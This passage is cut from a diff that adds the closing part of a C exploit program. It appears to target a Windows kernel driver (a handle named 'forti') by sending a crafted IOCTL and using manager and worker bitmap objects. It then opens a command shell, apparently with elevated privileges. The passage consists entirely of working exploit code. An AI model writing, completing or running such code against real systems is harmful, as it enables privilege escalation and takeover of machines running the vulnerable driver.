(hThread_priority == 0) + { + printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError()); + return 1; + } + + ResumeThread(hThread); + triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL); + WaitForSingleObject(hThread, INFINITE); + + printf("\n"); + system("start cmd.exe"); + DeleteObject(bitmaps.manager_bitmap); + DeleteObject(bitmaps.worker_bitmap); + + return 0; +} \ No newline at end of file